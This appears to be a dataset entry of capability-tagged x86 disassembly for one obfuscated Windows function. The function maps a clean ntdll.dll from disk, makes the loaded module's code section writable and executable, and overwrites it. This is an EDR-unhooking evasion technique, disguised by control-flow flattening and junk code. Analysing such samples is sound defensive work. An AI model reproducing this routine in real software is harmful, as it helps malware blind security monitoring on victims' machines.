Function at 0x40dd80
Capabilities:
Allocate or change rwx memory
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x98
mov eax, dword [0x47d080]
xor eax, ebp
mov dword [ebp - 0x10], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x1c]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0xc
call fcn.0041d8e0
lea eax, str.ntdll.dll
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
sub esp, 4
mov dword [ebp - 0x5c], eax
mov ecx, dword [ebp - 0x5c]
mov edx, dword [ebp - 0x58]
lea eax, [ebp - 0x1c]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0xc
call sub.KERNEL32.dll_K32GetModuleInformation
sub esp, 0x10
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x84], 0xc17e32f5
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0x88], eax
sub eax, 0x829920a8
je 0x40e204
jmp 0x40de21
mov eax, dword [ebp - 0x88]
sub eax, 0x888f6bfa
je 0x40e5e1
jmp 0x40de37
mov eax, dword [ebp - 0x88]
sub eax, 0x8c6abfff
je 0x40e381
jmp 0x40de4d
mov eax, dword [ebp - 0x88]
sub eax, 0x8f3346ee
je 0x40e3e8
jmp 0x40de63
mov eax, dword [ebp - 0x88]
sub eax, 0xa0260e36
je 0x40e4d9
jmp 0x40de79
mov eax, dword [ebp - 0x88]
sub eax, 0xb10d0ebd
je 0x40e60e
jmp 0x40de8f
mov eax, dword [ebp - 0x88]
sub eax, 0xbcc2ae9e
je 0x40e51a
jmp 0x40dea5
mov eax, dword [ebp - 0x88]
sub eax, 0xbd98187d
je 0x40e4ca
jmp 0x40debb
mov eax, dword [ebp - 0x88]
sub eax, 0xc17e32f5
je 0x40e062
jmp 0x40ded1
mov eax, dword [ebp - 0x88]
sub eax, 0xd0414250
je 0x40e731
jmp 0x40dee7
mov eax, dword [ebp - 0x88]
sub eax, 0xe0e1f7cd
je 0x40e353
jmp 0x40defd
mov eax, dword [ebp - 0x88]
sub eax, 0xe3c903ff
je 0x40e2fb
jmp 0x40df13
mov eax, dword [ebp - 0x88]
sub eax, 0xeb708d7f
je 0x40e2ca
jmp 0x40df29
mov eax, dword [ebp - 0x88]
sub eax, 0xf4b4d7ab
je 0x40e45a
jmp 0x40df3f
mov eax, dword [ebp - 0x88]
sub eax, 0xf7afc36e
je 0x40e255
jmp 0x40df55
mov eax, dword [ebp - 0x88]
sub eax, 0x18b71ce
je 0x40e2e0
jmp 0x40df6b
mov eax, dword [ebp - 0x88]
sub eax, 0x5ce5495
je 0x40e632
jmp 0x40df81
mov eax, dword [ebp - 0x88]
sub eax, 0x157618d5
je 0x40e665
jmp 0x40df97
mov eax, dword [ebp - 0x88]
sub eax, 0x158aafa4
je 0x40e0b3
jmp 0x40dfad
mov eax, dword [ebp - 0x88]
sub eax, 0x226a6684
je 0x40e5f0
jmp 0x40dfc3
mov eax, dword [ebp - 0x88]
sub eax, 0x2b9c0b1d
je 0x40e3b1
jmp 0x40dfd9
mov eax, dword [ebp - 0x88]
sub eax, 0x46b7efe9
je 0x40e1f5
jmp 0x40dfef
mov eax, dword [ebp - 0x88]
sub eax, 0x5536aebd
je 0x40e787
jmp 0x40e005
mov eax, dword [ebp - 0x88]
sub eax, 0x5b0b929c
je 0x40e31e
jmp 0x40e01b
mov eax, dword [ebp - 0x88]
sub eax, 0x7098deb7
je 0x40e2bb
jmp 0x40e031
mov eax, dword [ebp - 0x88]
sub eax, 0x7d7d7e51
je 0x40e503
jmp 0x40e047
mov eax, dword [ebp - 0x88]
sub eax, 0x7e67c7a1
je 0x40e590
jmp 0x40e05d
jmp 0x40e791
mov eax, dword [0x47e544]
mov ecx, dword [0x47e540]
mov edx, eax
sub edx, 0xbb25b60b
sub edx, 1
add edx, 0xbb25b60b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x157618d5
mov ecx, 0x158aafa4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x40e791
lea eax, str.c:windows_system32_ntdll.dll
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0x80000000
mov dword [esp + 8], 1
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
sub esp, 0x1c
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x64]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x1000002
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
sub esp, 0x18
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x68]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 4
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
sub esp, 0x14
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x70]
mov eax, dword [eax + 0x3c]
mov dword [ebp - 0x50], eax
mov ecx, dword [0x47e544]
mov eax, dword [0x47e540]
mov edx, ecx
add edx, 0x9807fec0
sub edx, 1
sub edx, 0x9807fec0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x157618d5
mov ecx, 0x46b7efe9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x40e791
mov dword [ebp - 0x84], 0x829920a8
jmp 0x40e791
mov eax, dword [0x47e544]
mov ecx, dword [0x47e540]
mov edx, eax
sub edx, 0x87775f0c
sub edx, 1
add edx, 0x87775f0c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd0414250
mov ecx, 0xf7afc36e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x40e791
mov eax, dword [ebp - 0x54]
mov edx, dword [ebp - 0x50]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x74], eax
mov word [ebp - 0x76], 0
mov eax, dword [0x47e544]
mov ecx, dword [0x47e540]
mov edx, eax
add edx, 0xc1731dfd
sub edx, 1
sub edx, 0xc1731dfd
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd0414250
mov ecx, 0x7098deb7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x40e791
mov dword [ebp - 0x84], 0xeb708d7f
jmp 0x40e791
movzx eax, word [ebp - 0x76]
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x84], 0x18b71ce
jmp 0x40e791
mov eax, dword [ebp - 0x74]
add eax, 4
add eax, 2
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x84], 0xe3c903ff
jmp 0x40e791
mov eax, dword [ebp - 0x48]
movzx esi, word [eax]
mov edx, dword [ebp - 0x4c]
mov eax, 0x226a6684
mov ecx, 0x5b0b929c
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x40e791
mov eax, dword [ebp - 0x74]
add eax, 0x61a8f8f7
add eax, 0x18
sub eax, 0x61a8f8f7
mov ecx, dword [ebp - 0x74]
movzx ecx, word [ecx + 0x14]
add eax, 0xd17e1a01
add eax, ecx
sub eax, 0xd17e1a01
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x84], 0xe0e1f7cd
jmp 0x40e791
mov eax, dword [ebp - 0x44]
movzx ecx, word [ebp - 0x76]
imul ecx, ecx, 0x28
add eax, 0x51398d18
add eax, ecx
sub eax, 0x51398d18
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x84], 0x8c6abfff
jmp 0x40e791
mov ecx, dword [ebp - 0x40]
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], 0x42cd35
call fcn.004211e0
mov edx, eax
mov eax, 0x2b9c0b1d
mov ecx, 0xbd98187d
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x40e791
mov dword [ebp - 0x20], 0
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax + 8]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x7c]
mov ecx, dword [ecx + 0xc]
add eax, 0x74c21dbf
add eax, ecx
sub eax, 0x74c21dbf
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x84], 0x8f3346ee
jmp 0x40e791
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x38]
lea eax, [ebp - 0x20]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x7d], al
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x7c]
mov edx, dword [ecx + 0xc]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x7c]
mov ecx, dword [ecx + 0xc]
add eax, 0x7d9a3a31
add eax, ecx
sub eax, 0x7d9a3a31
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x7c]
add eax, 8
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x84], 0xf4b4d7ab
jmp 0x40e791
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov edx, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x30]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.0041da40
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x7c]
mov edx, dword [eax + 8]
mov esi, dword [ebp - 0x60]
mov eax, dword [ebp - 0x7c]
mov edi, dword [eax + 0xc]
xor eax, eax
sub eax, esi
xor esi, esi
sub esi, edi
add eax, esi
xor esi, esi
sub esi, eax
lea eax, [ebp - 0x20]
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x7d], al
mov dword [ebp - 0x84], 0xbd98187d
jmp 0x40e791
mov dword [ebp - 0x84], 0xa0260e36
jmp 0x40e791
mov ax, word [ebp - 0x76]
xor ecx, ecx
sub cx, ax
xor eax, eax
sub ax, 1
add cx, ax
xor eax, eax
sub ax, cx
mov word [ebp - 0x26], ax
mov dword [ebp - 0x84], 0x7d7d7e51
jmp 0x40e791
mov ax, word [ebp - 0x26]
mov word [ebp - 0x76], ax
mov dword [ebp - 0x84], 0xbcc2ae9e
jmp 0x40e791
mov ecx, dword [0x47e544]
mov eax, dword [0x47e540]
mov edx, ecx
sub edx, 0x83a13a49
sub edx, 1
add edx, 0x83a13a49
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5536aebd
mov ecx, 0x7e67c7a1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x40e791
mov eax, dword [0x47e544]
mov ecx, dword [0x47e540]
mov edx, eax
sub edx, 0xca769c90
sub edx, 1
add edx, 0xca769c90
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5536aebd
mov ecx, 0x888f6bfa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x84], eax
jmp 0x40e791
mov dword [ebp - 0x84], 0xeb708d7f
jmp 0x40e791
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov dword [ebp - 0x84], 0xb10d0ebd
jmp 0x40e791
mov eax, dword [ebp - 0x64]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x84], 0x5ce5495
jmp 0x40e791
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov eax, dword [ebp - 0x5c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
sub esp, 4
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041cbd0
add esp, 0x98
pop esi
pop edi
pop ebx
pop ebp
ret
lea eax, str.c:windows_system32_ntdll.dll
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0x80000000
mov dword [esp + 8], 1
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
sub esp, 0x1c
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x64]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x1000002
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
sub esp, 0x18
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x68]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 4
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
sub esp, 0x14
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x84], 0x158aafa4
jmp 0x40e791
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x54]
mov edx, dword [ebp - 0x50]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x74], eax
mov word [ebp - 0x76], 0
mov dword [ebp - 0x84], 0xf7afc36e
jmp 0x40e791
mov dword [ebp - 0x84], 0x7e67c7a1
jmp 0x40de05